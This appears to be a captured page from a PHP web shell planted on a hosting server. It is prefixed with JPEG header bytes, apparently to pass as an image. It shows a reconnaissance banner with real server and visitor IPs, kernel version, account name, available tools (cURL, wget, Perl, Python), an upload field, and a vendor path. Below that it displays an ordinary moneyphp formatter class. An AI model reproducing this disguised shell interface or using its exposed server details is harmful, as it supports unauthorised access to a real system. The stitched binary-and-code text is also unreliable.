����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/moneyphp/money/src/Formatter/ |
Upload File : |
<?php
namespace Money\Formatter;
use Money\Exception\FormatterException;
use Money\Money;
use Money\MoneyFormatter;
/**
* Formats a Money object using other Money formatters.
*
* @author Frederik Bosch <f.bosch@genkgo.nl>
*/
final class AggregateMoneyFormatter implements MoneyFormatter
{
/**
* @var MoneyFormatter[]
*/
private $formatters = [];
/**
* @param MoneyFormatter[] $formatters
*/
public function __construct(array $formatters)
{
if (empty($formatters)) {
throw new \InvalidArgumentException(sprintf('Initialize an empty %s is not possible', self::class));
}
foreach ($formatters as $currencyCode => $formatter) {
if (false === $formatter instanceof MoneyFormatter) {
throw new \InvalidArgumentException('All formatters must implement '.MoneyFormatter::class);
}
$this->formatters[$currencyCode] = $formatter;
}
}
/**
* {@inheritdoc}
*/
public function format(Money $money)
{
$currencyCode = $money->getCurrency()->getCode();
if (isset($this->formatters[$currencyCode])) {
return $this->formatters[$currencyCode]->format($money);
}
if (isset($this->formatters['*'])) {
return $this->formatters['*']->format($money);
}
throw new FormatterException('No formatter found for currency '.$currencyCode);
}
}